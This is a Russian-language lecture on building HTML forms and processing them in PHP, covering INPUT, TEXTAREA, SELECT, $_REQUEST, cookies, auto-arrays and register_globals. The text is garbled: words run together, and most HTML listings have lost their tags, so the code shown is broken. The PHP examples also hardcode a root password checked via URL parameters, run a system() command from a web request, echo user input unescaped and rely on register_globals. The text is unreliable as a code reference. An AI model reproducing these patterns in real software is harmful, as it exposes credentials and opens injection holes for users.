Web-программирование.Обработка HTML — форм
Лекция
ПодготовленаПрохоровым В.С.
План
ВВЕДЕНИЕ
1. СОЗДАНИЕ HTML-ФОРМ
1.1. Элементы форм
1.2. Тег FORM — контейнер форм
1.3. Тег INPUT и способы его использования
1.3.1. Однострочные поля ввода
1.3.2. Поле ввода пароля
1.3.3. Скрытое текстовое поле
1.3.4. Независимые переключатели
1.3.5. Зависимые переключатели
1.3.6.Загрузка файлов
1.3.7.Кнопка отправки формы
1.3.8.Кнопка сброса
1.3.9.Кнопка отправки с индивидуальным рисунком
1.4.Ввод многострочного текста. Тег TEXTAREA
1.5.Списки выбора. Тег SELECT
1.5.1.Списки с единственным выбором
1.5.2.Списки множественного выбора.
2.ПЕРЕДАЧА ДАННЫХ С ПОМОЩЬЮ ФОРМЫ
2.1.Форма для передачи данных
2.2.Трансляция полей формы
2.3.Трансляция переменных окружения
2.4.Работа с cookies
2.4.1.Пример приложения с cookies
2.5.Обработка списков с множественным выбором
2.6.Обработка массивов
2.7.Особенности обработки независимых переключателей
2.8.Диагностика создаваемых массивов
3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on ?
3.1.Первый пример уязвимости
3.2.Второй пример уязвимости
3.3.Порядок трансляции переменных
4.ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL
5.ЗАДАНИЕ НА САМОСТОЯТЕЛЬНУЮ РАЗРАБОТКУ
ЗАКЛЮЧЕНИЕ
ЛИТЕРАТУРА
Введение
Одно из наиболеераспространенных приложений любого языка создания серверных сценариев –обработка HTML — форм. Web-программирование в большей части представляетсобой обработку различных данных, введенных пользователем.
РНР облегчает задачу обработки и разбораформ, поступивших из браузера, так как в язык на самом нижнем уровне встроенывсе необходимые возможности. Поэтому программисту не приходится даже изадумываться над особенностями протокола HTTP и размышлять, как жепроисходит отправка и прием роsт-форм или даже загрузка файлов.
/>/>1. СОЗДАНИЕHTML — ФОРМ
Работая с формами можновводить текст в поле ввода, выбирать пункт меню, отмечать флажком правильныйответ, нажимать кнопку и т.д. При этом всегда ожидается от документаосмысленная реакция.
/>/>1.1. Элементыформ
Форма в HTML-документереализуется тегом-контейнером FORM, в котором задаются все управляющиеэлементы — поля ввода, кнопки и т.д. Если управляющие элементы указаны внесодержимого тега FORM, то они не создают форму, а используются дляпостроения пользовательского интерфейса на WEB-странице, то есть дляпривнесения в нее различных кнопок, флажков, полей ввода. Обработка такихэлементов производится индивидуально в рамках самого HTML-документа спомощью включенных в него скриптов. А могут вообще никак не обрабатываться.Например, управляющий элемент TEXTAREA часто используется для созданияокна с полосой прокрутки внутри документа для вывода большого текста, которыйиграет второстепенную роль. Обычно так отображаются тексты лицензионныхсоглашений, тексты больших комментариев или правила пользования данным WEB-ресурсом.Имена элементам формы присваиваются через их атрибут NAME. Каждый элементформы имеет начальное, используемое по умолчанию, и конечное значения, которыеявляются символьными строками. Начальные значения элементов не меняются,благодаря чему может осуществляться сброс значений, указанных пользователем.Результатом этого действия будет установка всех управляющих элементов формы всвоих первоначальных используемых по умолчанию значениях.
В HTML определеныследующие типы управляющих элементов:
● Кнопки —задаются с помощью элементов BUTTON и INPUT. Различают:
○ кнопкиотправки — при нажатии на них отправляются формы серверу;
○ кнопки сброса— при их нажатии устанавливают управляющие элементы в первоначальные значения;
○ прочие кнопки— кнопки, для которых не указано действие, выполняемое по умолчанию при ихнажатии.
● Зависимые переключатели(переключатели с зависимой фиксацией) — задаются элементом INPUT ипредставляют собой переключатели «вкл\выкл». Если несколько зависимыхпереключателей имеют одинаковые имена, то они являются взаимоисключающими. Этозначит, что если одна из них ставится в положение «вкл», то все остальныеавтоматически — в положение «выкл». Именно это и является преимуществом ихиспользования.
● Независимыепереключатели (переключатели с независимой фиксацией) — задаются элементом INPUTи представляют собой переключатели «вкл\выкл», но в отличие от зависимых,независимые переключатели могут принимать и изменять свое значение независимоот остальных переключателей. Даже если последние имеют такое же имя.
● Меню —реализуется с помощью элементов SELECT, OPTGROUP и OPTION. Менюпредоставляют список возможных вариантов выбора.
● Ввод текста— реализуется элементами INPUT, если вводится одна строка, и элементами TEXTAREA— если несколько строк. В обоих случаях введенный текст становится текущимзначением управляющего элемента.
● Выбор файлов— позволяет вместе с формой отправлять выбранные файлы, реализуется HTML-элементомINPUT.
● Скрытыеуправляющие элементы — создаются управляющим элементом INPUT.
/>/>1.2. ТегFORM — контейнер форм
Форма реализуетсятегом-контейнером FORM. Тег своими атрибутами указывает адрес сценария,которому будет послана форма, способ пересылки и характеристику данных,содержащихся в форме. Начальный и конечный теги FORM задают границыформы. Их указание является обязательным.
Атрибуты тега FORM:
● action —единственный обязательный атрибут. В качестве значения этого атрибута указываютURL-адрес запрашиваемой CGI-программы. Эта программа будетобрабатывать данные, содержащиеся в форме. Допустимо использовать запись MAILTO:URL,благодаря которой форма будет послана по электронной почте. Если атрибут ACTIONвсе-таки не указан, то содержимое формы будет отправлено на URL-адрес, скоторого загружалась данная WEB-страница.
● method —определяет метод HTTP, используемый для пересылки данных формы отбраузера к серверу. Атрибут METHOD может принимать два значения: getили post.
● enctype —необязательный атрибут. Указывает тип содержимого формы, используемый дляопределения формата кодирования при ее пересылке. В HTML определены двавозможных значения для атрибута ENCTYPE:
●APPLICATION/X-WWW-FORM-URLENCODED (используется по умолчанию).
●MULTIPART/FORM-DATA.
/>/>1.3. ТегINPUT и способы его использования
Тег INPUTпозволяет создавать внутри формы поля ввода строки текста, имени файла, пароляи др. У INPUT нет конечного тега. Атрибуты и особенности использования INPUTзависят от способа его использования.
/>/>1.3.1. Однострочныеполя ввода
Формат тега INPUTдля создания поля ввода текстовой строки:
name=имя_параметра
[value=значение]
[size=paзмер]
[maxlen=длина]>
Тег создает поле ввода смаксимально допустимой длиной текста maxlen и размером в sizeзнакомест. Если задан атрибут value, то в поле будет изначальноотображаться указанная строка. В квадратных скобках помечены необязательныеатрибуты.
/>/>1.3.2. Полеввода пароля
Пароль не долженотображаться на экране. Поле для ввода пароля:
name=имя_параметра
[value=значение]
[size=paзмер]
[maxlen=длина]>
Вводимая информация в полене отображается, а заменяется «звездочками».
Не рекомендуетсяустанавливать значение value (значение по умолчанию) из соображенийбезопасности. В окне браузера данное значение не отображается, но стоитпросмотреть исходный HTML-код, пароль будет виден «невооруженнымглазом».
/>/>1.3.3. Скрытоетекстовое поле
Для передачи служебнойинформации (о которой пользователь даже не должен подозревать) используютсяскрытые поля. С помощью таких полей, например, могут передаваться параметрынастройки:
name=имя
value=значение
Такие поля передаютсясерверу, но на Web-странице не отображаются.
/>/>1.3.4. Независимыепереключатели
Пользователю,заполняющему форму у себя в браузере, дают возможность указать свои настройки спомощью выбора определенных значений. При этом приводятся сами эти значения, арядом с ними помещается небольшое квадратное поле, в котором можно установить,либо убрать галочку. При этом значение, соответственно, будет либо выбрано,либо нет:
name=имя
value=значение
[checked]
Если переключатель былвключен на момент нажатия кнопки отправки данных, то сценарию будет переданпараметр имя=значение. Если же флажок выключен, то сценарию вообщеничего не будет передано — как будто нашего переключателя вообще нет.
Переключатель может бытьпо умолчанию либо включен, либо выключен. Чтобы переключатель был по умолчаниювключен, необходимо для него указать атрибут checked.
Переключатель checkboxназывается независимым, так как его состояние не зависит от состояния другихпереключателей checkbox. В одной форме может быть одновременно выбранонесколько переключателей
Листинг input.html.Тег input и способы его использования
html>
head>
title>Тег inputи способы его использованияtitle>
Текстовоеполе ввода имени (login):
Поле вводапароля (password):
Скрытоеполе hid
checked>Bapиaнт1 (по умолчанию)
Вариант 2
В окне браузера формавыглядит следующим образом:
/>
/>/>1.3.5. Зависимыепереключатели
Если в форме присутствуетнесколько одноименных зависимых переключателей типа radio, то включен изних может быть только один. При выборе одного переключателя все одноименныезависимые переключатели автоматически выключаются. В качестве именипереключателей воспринимается значение атрибута name.
Листинг radio_1.html.Форма с зависимыми переключателями
html>
head>
title>Зависимые переключателиtitle>
name=sex
value=male
checked
>
Мужчина
name-sex
value=female
>
Женщина
name=go
value=Передать
>
В окне браузера формавыглядит следующим образом:
/>
Первый переключатель (созначениемmale) активенпо умолчанию (установлен атрибут checked). Как только пользовательнажмет кнопку Передать, сценарию sex.php будет передан параметр sex(атрибут name обоих переключателей) со значениемmale. Если же пользователь выберет другойвариант (female), сценарию будет передано значение параметра sex.
/>/>1.3.6.Загрузка файлов
Тег INPUTпозволяет создавать поле выбора файла для отправки. При этом формат тега таков:
inputtype=file
name=имя
[vа1ue=имяфайла] >
/>/>
1.3.7. Кнопкаотправки формы
Кнопка отправки служитдля отправки сценарию введенных в форму значений. Синтаксис тега INPUTтаков:
[name=go]
value=Передать
Атрибут valueопределяет текст, который будет написан на кнопке отправки. Атрибут nameопределяет имя кнопки и является необязательным. Если значение этого атрибутане указывать, то скрипту будут переданы введенные в форму значения и все. Еслиже атрибут name для кнопки будет указан, то дополнительно к данным формыбудет отправлена пара имя=значение от самой кнопки. Рекомендуетсяобязательно указывать этот атрибут.
/>/>1.3.8. Кнопкасброса
Кнопки resetсбрасывает форму — устанавливает для всех элементов формы значения поумолчанию. Желательно, чтобы на форме была такая кнопка, особенно, если этобольшая форма. Наличие данной кнопки облегчает очистку формы, если были введенынеправильные параметры:
value=C6poc>
/>/>
1.3.9. Кнопкаотправки с индивидуальным рисунком
Можно использоватьрисунок для отправки данных. При щелчке на этом рисунке произойдет то же, что ипри нажатии на кнопку submit. Однако, кроме этого, сценарию будутпереданы координаты места произведения щелчка на рисунке. Координаты будутпереданы в формате: имя. х=коор_Х, имя. у=коор_У:
name=имя
src=рисунок>
Листинг cnopka_image.html. Кнопка отправки с рисунком
html>
head>
title>Кнопка отправки с рисункомtitle>
Текстовоеполе txt
Поле вводапароля pswd
Скрытоеполе hid
checked>Bapиaнт1 (по умолчанию)
Вариант 2
name=”sub”
src=”image.png”>
form>
body>
html>
/>Вокне браузера форма выглядит следующим образом:
/>
Когда пользовательщёлкает в каком-либо месте изображения, соответствующая форма передаётся насервер с двумя дополнительными переменными: sub_x и sub_y. Онисодержат координаты щелчка.
/>/>1.4. Вводмногострочного текста. Тег TEXTAREA
В HTMLмногострочное поле ввода реализуется с помощью тега TEXTAREA. Поле,создаваемое этим тегом, позволяет вводить и отправлять не одну строку, а сразунесколько. Формат тега TEXTAREA таков:
name=имя
[со1s=ширина в символах]
[rows=высота всимволах]
wrap=тип_переноса
>Текст по умолчанию
Необязательные параметры colsи rows желательно указывать. Первый из них задает количество символов встроке, а второй — количество строк в области. Атрибут wrap определяет,как будет выглядеть текст в поле ввода:
● Virtual —справа от текстового поля выводится полоска прокрутки.
Вводимый пользователемтекст выглядит разбитым на строки, а символ новой строки вставляется принажатии клавиши Enter.
● Physical —этот тип зависит от браузера и в разных браузерах может вести себя по-разному.
● None —текст выглядит в поле в том виде, в котором пользователь его вводит. Если текстне умещается в одну строку, появляется горизонтальная полоска прокрутки.
Стоит заметить, чтонаиболее удобным является тип Virtual.
Внешний вид поля:
name=”t_area”
со1s=”20”
rows=»5»
wrap=»virtual»
>Текст по умолчанию
Листинг textarea.html.Форма с многострочным текстом
Многострочныйтекст
name=”t_area”
со1s=»20»
rows=»5»
wrap=»virtual»
>Текст по умолчанию
В окне браузера формавыглядит следующим образом:
/>
/>/>1.5. Спискивыбора. Тег SELECT
/>/>1.5.1. Спискис единственным выбором
Список выбора позволяетвыбрать один вариант из множества. Можно было бы использовать зависимыепереключатели radio, но это не рационально. Например, если нужно, чтобыпользователь выбрал месяц, то один список будет занимать намного меньше места вокне браузера, чем целых двенадцать переключателей radio. Пример спискавыбора, реализованного с помощью тега SELECT:
Листинг spisoc_1.html.Форма списка с единственным выбором
html>
head>
title>Список с единственнымвыборомtitle>
Январь
Февраль
Mapт
Апрель
Maй
Июнь
Июль
Август
Ceнтябрь
Oктябрь
Hоябрь
Декабрь
body>
html>
В окне браузера формавыглядит следующим образом:
/>
Варианты выбора задаютсяс помощью тегов option. При отправке формы сценарию будет отосланозначение value выбранного элемента списка.
Атрибут nameопределяет имя параметра, который будет передан сценарию. Если атрибут sizeравен 1, то список будет выпадающим. В противном случае список будет занимать n строк и будет «оснащен» полосойпрокрутки. Значение, выбранное в списке по умолчанию, можно указать с помощьюатрибута selected для соответствующего тега option. В приведенномпримере месяц по умолчанию —Май.
Атрибут valueявляется необязательным. Если его не указать, то будет передана строка,заключенная в тег option. В нашем случае сценарию будет передан параметрmonth=Cентябрь (если value не указан).
/>
/>/>
1.5.2. Спискимножественного выбора
С помощью тега SELECTможно создавать и списки множественного выбора. В таких списках можно выбратьне одно, а сразу несколько значений. Чтобы сделать список с множественнымвыбором, необходимо для тега SELECT указать атрибут multiple. Еслипользователь выберет несколько вариантов, то сценарию будут переданы параметрыв форме:
имя=значение&имя=значение… &имя=значение
Листинг spisoc_n.html.Форма списка множественного выбора
html>
head>
title>Список множественного выбораtitle>
Январь
Февраль
Mapт
Апрель
Maй
Июнь
Июль
Август
Ceнтябрь
Oктябрь
Hоябрь
Декабрь
select>
body>
html>
В окне браузера формавыглядит следующим образом:
/>
/>/>2. ПЕРЕДАЧАДАННЫХ С ПОМОЩЬЮ ФОРМЫ
Рассмотрим пример посылкисообщения из формы по электронной почте.
Листинг e_mail.html.Посылка сообщения из формы по e-mail
Посылка формы по е-mail
Нажмите Cброс и заполните заказ.BR>
TR>
TD>Ваше имя:TD>
Вашадрес:
Прислать:
Если поместить этот код вHTML-программу, то на гипертекстовойстаричке возникнет картинка:
/>
Пользователь нажимаеткнопку «Сброс», и поля принимают значения, установленные по умолчанию.Форма заполняется пользователем, и по нажатию кнопки «Послать заказ» отправляетсяпо адресу [email protected].Обычно браузер не сам отсылает форму, а поручает эту работу почтовой программе,установленной по умолчанию в операционной системе компьютера (например, Outlook). Письмо посылается в виде:
subjct: ФормаотправленаизMicrosoft Internet Explorer
name= Прохоров Виктор Сергеевич
[email protected]
obj= «Методические указания»
Письмо составляется изпар имя=значение, которые выбираются по порядку из полей формы.
Можно написать простейшийсценарий на РНР типа «Hello, world: сейчас 10 часов утра».
Однако этим сценариямнедостает одного — интерактивного взаимодействия с пользователем.
Поставим задачу написатьсценарий, который принимает в параметрах две величины: зарегистрированное имяи пароль пользователя. Если зарегистрированное имя равно root, апароль — Z10N0101, следует напечатать: «Доступ открыт дляпользователя » и заблокировать сервер (т. е. вывести стандартныйэкран Windows «Блокировка» с запросом пароля для разблокирования). Еслиже данные неверны, необходимо вывести сообщение «Доступ закрыт!».
Сначала рассмотримнаиболее простой способ передачи параметров сценарию — непосредственный наборих в URL после знака? — например, в формате login=имя&password=napoль.
Пусть на сервере вкорневом каталоге есть сценарий на РНР под названием hello.php. Этотсценарий распознает 2 параметра: login и password.
Поэтому, если задать вадресной строке браузера:
localhost/heIlo.php?login=root&password=Z10N0101
то должны получитьтребуемый результат.
Задача поставлена, можноприступать к ее решению. Но прежде полезно решить аналогичную, но более простуюзадачу.
Как же нам в сценарииполучить строку параметров, переданную после знака вопроса в URL приобращении к сценарию? Для этого можно проанализировать переменную окружения QUERY_STRING,которая в РНР доступна под именем $_SERVER[QUERY_STRING].
Напишем пример, чтобы этопроиллюстрировать (листинг qs.php).
Листинг qs.php. Выводпараметров командной строки.
echo «Данные изкомандной строки: $_SERVER[QUERY_STRING]»;
?>
Если теперь запуститьэтот сценарий из браузера (перед этим сохранив его в файле test.php вкорневом каталоге сервера) таким образом:
localhost/qs.php?this+is+the+world/
то получим документследующего содержания:Данные из командной строки: this+is+the+world
/>
Обратите внимание на то,что URL-декодирование символов не произошло: строка $_server [‘query_string ‘], как и одноименная переменная окружения, всегда приходит втой же самой форме, в какой она была послана браузером.
Так как РНРизначально создавался именно как язык для Web-программирования, то ондополнительно проводит некоторую работу с переменной query_string передпередачей управления сценарию. А именно, он разбивает ее по пробельным символам(в примере пробелов нет, их заменяют символы +, но эти символы РНРтакже понимает правильно) и помещает полученные кусочки в массив-список $argv,который впоследствии может быть проанализирован в программе.
Массив $argvиспользуется при программировании на РНР крайне редко, что связано с большимивозможностями интерпретатора по разбору данных, поступивших от пользователя.Однако в некоторых (учебных) ситуациях его применение оправдано.
/>/>2.1. Формадля передачи данных
Вернемся к поставленнойзадаче. Как сделать, чтобы пользователь мог в удобной форме ввестизарегистрированное имя и пароль? Очевидно, придется создать что-нибудь типадиалогового окна Windows, только в браузере. Для этого понадобится HTML-документ(например, form.html в корневом каталоге) с элементами этого диалога —текстовыми полями — и кнопкой.
Листинг form.html.Страница с формой
Имя:
Пароль:
а1ue = “Передать“ >
а1ue = “Очиститьформу” >
Загрузим документ вбраузер. Теперь, если заполнить поля ввода и нажать кнопку, браузер обратится ксценарию hello.php и передаст через? все атрибуты, расположенные внутритегов в форме и разделенные символом & в строкепараметров. Заметьте, что в атрибуте action тега задан относительный путь, т. е. сценарий hello.php будет искатьсябраузером в том же самом каталоге, что и файл form.html.
Все перекодирования ипреобразования, которые нужны для URL-кодирования данных, осуществляютсябраузером автоматически. В частности, буквы кириллицы превратятся в %хх,где хх — некоторое шестнадцатеричное число, обозначающее код символа.
Использование формпозволяет не обременять пользователя такой информацией, как имя сценария, егопараметры и т. д. Он всегда будет иметь дело только с полями, переключателями икнопками формы:
/>
Осталось определиться,как можно извлечь $login и $passwordиз строки параметров.
Можно попытатьсяразобрать ее «вручную» при помощи стандартных функций работы со строками,которых в РНР множество. Однако прежде чем браться за какое-то дело, следуетвнимательно посмотреть и другие способы его выполнения.
/>/>2.2. Трансляцияполей формы
Мы не хотим заниматьсяпрямым разбором переменной окружения query_string, в которой хранятсяпараметры сценария. И правильно — интерпретатор перед запуском сценария делаетвсе сам. Причем независимо от того, каким методом — get или post— воспользовался браузер. То есть, РНР сам определяет, какой метод былзадействован (информация об этом доступна через переменную окружения request_method),и получает данные либо из query_string, либо из стандартного входногопотока.
Все данные из полей формыРНР помещает в глобальный массив $_REQUEST.
В нашем случае значениеполя login после начала работы программы будет храниться в $_REQUEST[‘ login ‘], а значение поля password — в $_REQUEST[‘password’].
Кроме того, чтобы можнобыло как-то разделить GET-параметры от POST-данных, РНР также создаетмассивы $_GET и $_POST, заполняя их соответствующими значениями. Массив $_REQUEST представляет собой объединение этихдвух массивов.
Листинг hello.php.Сценарий извлечения текста из полей формы
if($_REQUEST[’login’]==”root” && $_REQUEST[’password’]==”Z10N0101”)
{
echo «Доступ открытдля пользователя $_REQUEST[login]»;
//Команда блокированиярабочей станции (работает в NT-системах)
system(“rundll32.exeuser32.dll,LockWorkStation”);
}
else
{
echo “Доступзакрыт!”;
}
?>
/>
/>
Если при вводе данныхбудет совершена ошибка, например, неправильно введено имя:
/>
то доступ будет закрыт:
/>
Здесь применена инструкцияif-else (условное выполнение блока) и функцияsystem() (запуск команды операционной системы).
Инструкция if-else — условный оператор. Его форматтаков:
if (логическое_выражение)
инструкция_1;
else
инструкция_2;
Действие инструкцииследующее: если логическое_выражение истинно, то выполняется инструкция_1,а иначе — инструкция_2.
Как и в любом другомязыке, конструкция else может опускаться, в этом случае при получении лолжногозначения просто ничего не делается.
Пример:
if ($salary>=100&& $salary
Else
echo «Ну и правильно —не в деньгах счастье.»;
Если инструкция_1или инструкция_2 должны состоять из нескольких команд, то они,как всегда, заключаются в фигурные скобки.
Пример:
if ($a >$b) { print “абольшеb”; $c = $b; ) }
elseif ($a= = $b) { print “аравноb”; $c = $a; ) }
else {print “аменьшеb”; $c = $a; }
echo «bг>Минимальное из чисел: $с»;
Это не опечатка: elseifпишется слитно, вместо else if. Так тоже можно писать.
Конструкция if-else имеет еще один альтернативный синтаксис:
if (логическое-_выражение):
команды;
elseif (другое_логическое_вьражение):
другие_команды;
else:
иначе_команды;
endif
Обратите внимание нарасположение двоеточия (:). Если его пропустить, будет сгенерированосообщение об ошибке. И еще, как обычно, блоки elseif и else можноопускать.
Для вставки HTML-кодав тело сценария достаточно закрыть скобку ?>, написать этот код, а затемснова открыть ее при помощи
Чаще нужно делать невставки HTML внутрь программы, а вставки кода внутрь HTML.Целесообразно отделять HTML-код от программы, например, поместить его вотдельный файл, который затем подключается к программе при помощи инструкции include.
Вот, например, как будетвыглядеть сценарий, который приветствует пользователя по имени, с применениемальтернативного синтаксиса if-eise.
Листинг ifelse.php. Сценарий, который приветствуетпользователя по имени
Альтернативныйсинтаксисif-else. — ->
if(isset($_REQUEST[’go’])):?>
Привет,!
” method=post>
Вашеимя:
а1uе=”0тослать!”>
В окне браузера формавыглядит следующим образом:
/>
/>
/>
Теперь усовершенствуемскрипт — сделаем так, чтобы при запуске без параметров сценарий выдавалдокумент с формой, а при нажатии кнопки — выводил нужный текст. Самый простойспособ определить, был ли сценарий запущен без параметров — проверить,существует ли переменная с именем, совпадающим с именем кнопки отправки. Еслитакая переменная существует, то пользователь запустил программу, нажав кнопку(листинг 4).
Листинг lock.php.Усовершенствованный скрипт блокировки сервера
if (!isset($_REQUEST[’doGo’] ) )
{
?>
”>
Имя:
Пароль:
}
else
{
if($_REQUEST[’login’]==”root” && $_REQUEST[’password’]==”Zl0N0101”)
{
echo«Доступ открыт для пользователя $_REQUEST[login]»;
//Команда блокированиярабочей станции (работает в NT-системах)
system(“rundll32.exeuser32.dll,LockWorkStation”);
}
else
{
echo“Доступ закрыт!”;
}
}
?>
В окне браузера формавыглядит следующим образом:
/>
/>
/>
Из этого примера можнопочерпнуть несколько полезных приемов:
● Конструкция является более коротким обозначением для , ипредназначена для того, чтобы вставлять величины прямо в HTML-страницу.
● В параметре actionтега не задано явно имя файла сценария, а извлекли его изпеременной окружения script_name (которая, как и все такие переменные,хранится в массиве $_server). Это позволило не «привязываться» к именифайла, т. е. теперь можно его в любой момент переименовать без потерифункциональности.
В старых версиях РНР 4переменная $script_name могла содержать неправильное значение. Например,если воспользоваться способом инсталляции, когда устанавливают РНР каквнешнюю программу, а не модуль Apache, в РНР версии 4.1 и младшепеременная $script_name будет содержать строку /_php/php.exe,что, конечно же, нам не подходит. «Правильное» значение в этом случае можнонайти в переменной окружения redirect_url или в переменной РНР $redirect_url.Однако учтите, что в Unix, наоборот, redirect_url работать небудет! РНР 5 всех этих недостатков лишен.
● Исчезланеобходимость в промежуточном файле form.html: его код встроен в самсценарий.
/>/>2.3. Трансляцияпеременных окружения
«Интеллектуальные»возможности РНР на этом далеко не исчерпываются. Дело в том, что впеременные преобразуются не только все данные формы, но и переменные окружения(включая query_string, content_length и многие другие).
Например, приведемсценарий (листинг 5), печатающий IP-адрес пользователя, который егозапустил, а также тип его браузера (эти данные хранятся в переменных окружения remote_user и http_user_agent, доступных в скрипте через массив $_server).
Листинг ip.php. ВыводIP-адреса из браузера пользователя
ВашIP-адрес:
Вашбраузер:
/>
/>/>2.4. Работас cookies
Использование cookies удобно как для программистов, так идля пользователей. Пользователям не приходится каждым раз заново вводитьинформацию о себе, а программистам cookies помогают легко и надежно сохранять информацию опользователях.
Cookies — это файлы, хранящие строки,содержащие пары «имя-значение». С этими строками связан URL, по которому браузер определяет,нужно ли посылать cookies на сервер. В отличие от сеансовых переменных, которые хранятся насервере, cookies расположены на клиентской машине.
Установка cookies
Установка cookies производится с помощью функции setcookie:
boolsetcookie (string name [, string value [, int expire [, string path [, stringdomain [, int secure]]]]])
Эта функция имеетследующие аргументы:
name — имя cookie;
value — значение, хранящееся в copkie с именем name;
expire — время в секундах с 1 января 1970года. По истечении этого времени cookie становится недействительным;
path — путь, по которому доступен cookie;
domain— домен, из которого доступен cookie;
secure — директива, определяющая, доступенли cookie не по запросу HTTPS(HyperText Transmission Protocol, Secure — протокол защищенной передачи гипертекстов). Поумолчанию эта директива имеет значение, что означает возможностьдоступа к cookie по обычному запросу HTTP.
/>/>
2.4.1. Примерприложения с cookies
Создадим сценарий,подсчитывающий при помощи cookiesколичествообращений посетителя к странице. Необходимо устанавливать cookie перед отправкой в браузер каких-либозаголовков, поскольку сами cookies устанавливаются в виде заголовков. Потому, если установить cookies после какого-либо текста,отправляемого в браузер, то возникнет ошибочная ситуация.
Заметим, что в листингемы обращаемся к переменной $counter, в которой хранится значение cookie, как к глобальной, что требуетналичия включенной директивы registerglobais. Если эта директива отключена, то значение, хранящееся в cookie, можно получить через глобальныемассивы $HTTP_COOKIEVARS[»name»] и $_COOKIE[»name»].
Листинг cookie.php. В cookieс именем counterхраниться число посещений страницыпользователем (registerglobais=off)
$_СООКIЕ[’counter’]++;
setcookie(“counter”,$counter);
echo ‘Вы посетили этустраницу: ‘.$_COOKIE[‘counter’].’ раз.’;
?>
В окне браузера выглядитследующим образом:
/>
Некоторые пользователиотключают cookies в своих браузерах. Поэтому длякорректной работы приложения, использующего cookies, в него следует помещать код,проверяющий, включены ли cookies у посетителя. Если нет, то пользователю сообщается о необходимостивключить cookies.
Листинг cookie_pr.Пример кода проверяющего включение cookie
if(!$cookie)
{
//посылаем заголовокпереадресации на страницу,
//с которой будетпредпринята попытка установить cookie
header(“Location:$PHP_SELF?cookie=l”);
// устанавливаем cookieс именем «test»
setcookie(“test”,”1”);
}
else
{
if (!$test)
{
echo(«Для корректной работы приложениянеобходимо включить cookies»);
}
else
{
//cookieвключены, переходим на нужнуюстраницу
header(“Location:localhost/testl.php “);
}
}
?>
Функцию setcookie () всеголишь посылает в браузер пользователя cookie с указанным именем изначением.
/>/>2.5. Обработкасписков с множественным выбором
В списках множественноговыбора можно выбрать не одно, а сразу несколько значений. Чтобы сделать списокс множественным выбором, необходимо для тега SELECT указать атрибут multiple:
Январь
Февраль
Mapт
Апрель
Maй
Июнь
Июль
Август
Ceнтябрь
Oктябрь
Hоябрь
Декабрь
После отправки формыпараметры передаются так: name=value1&name=value2&name=value3…
Переменная $name = month2 будет содержать только последнее значение (valueN).
Пусть выбрали Maй и Август. Тогда после отправки формы сценариюпридет строка параметров month2 = Maй&month2 = Август, и в переменной$_REQUEST [‘month2’] окажется, конечно, только Август.
Первый пункт (Maй) потерялся. Для решения подобных проблем в РНРпредусмотрена возможность давать имена полям формы в виде «массива с индексами»month2[](квадратные скобки — это признак массива.):
Январь
Февраль
Mapт
Апрель
Maй
Июнь
Июль
Август
Ceнтябрь
Oктябрь
Hоябрь
Декабрь
Теперь сценарию придетстрока month2[]= Maй&month2[]= Август.
Интерпретатор обнаружит,что мы хотим создать «автомассив», т. е. массив, который не содержит пропускови у которого индексация начинается с нуля. Интерпретатор создаст запись $_REQUEST[‘month2’] типа «массив», содержимое которого следующее: array(0=>»Maй «, l=>» Август «). Как мы видим, в результате ничего не пропало — данныетолько слегка видоизменились.
В результате мы получим в$_REQUEST массив массивов (или двумерный массив, как его еще называют).
Таким образом, множественныйсписок преобразован в массив. Массив представляет собой индексированнуюсовокупность переменных одного типа. Каждая переменная или элемент массиваимеет свой индекс, т.е. все элементы массива последовательно пронумерованы.
Обход массива в циклеорганизуют (обрабатывают его элементы) с помощью цикла foreach. Принципработы этого цикла прост: при проходе каждого элемента массива в переменную $key помещается индекс этого элемента, ав переменную $value – его значение.
Нам даже не нужно знатьколичество переданных элементов списка. Предварительно лишь нужно сообщить РНР,что мы будем передавать массив:
Напомним, что квадратныескобки — это признак массива.
Обрабатывается массивтак:
foreach($month2as $key=>$value)
echo “$key= $value ”;
Листинг month2.html. Формасписка с множественным выбором
Обработкасписка с множественным выбором
Январь
Февраль
Mapт
Апрель
Maй
Июнь
Июль
Август
Ceнтябрь
Oктябрь
Hоябрь
Декабрь
а1ue = “Нажмитекнопку, чтобызапуститьсценарий! «>
Листинг hello2.php. Обработка списка с множественнымвыбором при включенной директиве register_globals
echo “г>Списокmonth2: ” ;
foreach ($month2as $key=>$value)
echo “$key= $value ”;
?>
В окне браузера формавыглядит следующим образом:
/>
/>
Природа этой ошибкиподробно будет рассмотрена в п. 3: «Какой режим выбрать: register_globals= off& on?». Здесь заметим лишь, что мы обратилиськ переменной $month2 как кглобальной, что требует наличия включенной директивы register_globals=on. Если эта директива отключена (register_globals=off), что настоятельно рекомендуется делать, то нужноезначение можно получить через глобальный массив $_REQUEST[‘month2’]. Поэтому сделаем необходимыеисправления.
Листинг hello2.php. Обработка списка с множественнымвыбором при отключенной директиве register_globals
echo“Список month2: ” ;
foreach($_REQUEST[’month2’] as $key=>$value)
echo “$key= $value ”;
?>
/>
Прием с автомассивом вполе для списка с множественным выбором выглядитдовольно элегантно. Однако не стоит думать, что он применим только к этомуэлементу формы: автомассивы можно применять и в любых других полях. Вот пример,создающий два переключателя (кнопки со значениями вкл/выкл), один элемент вводастроки и одно текстовое (многострочное) поле, причем все данные после запускасценария, обрабатывающего эту форму, будут представлены в видеодного-единственного автомассива:
Листинг txt.html.Применение автомассивов
Применение автомассивов
Однострочныйтекст”>
Многострочныйтекст
а1ue = “Нажмитекнопку, чтобызапуститьсценарий! «>
В окне браузера формавыглядит следующим образом:
/>
Листинг hello3.php. Сценарийобработки автомассивов
echo “г>Списокmonth3: ” ;
foreach ($_REQUEST[’Arr’]as $key=>$value)
echo “$key= $value ”;
?>
/>
Видно, что РНРсовершенно нет никакого дела до того, в каких элементах формы мы используемавтомассивы — он в любом случае обрабатывает все одинаково. И это, пожалуй, нетолько правильно, но и удобно.
/>/>2.6. Обработкамассивов
Рассмотрены почти всевозможности РНР по автоматической трансляции данных формы. Напоследоквзглянем на еще одно полезное свойство РНР. Пусть имеется такая форма:
Листинг txt1.html. Формадля примера «Обработка массивов»
Обработкамассивов
Имя:
Адрес:
Город:
Новомocковск
Kиев
а1ue = “Нажмитекнопку, чтобызапуститьсценарий! «>
В окне браузера формавыглядит следующим образом:
/>
После передачи подобныхданных сценарию на РНР в нем будет инициализирован ассоциативный массив $Dataс ключами name, address и city. То есть, имена полям формыможно давать не только простые, но и представленные в виде одномерныхассоциативных массивов.
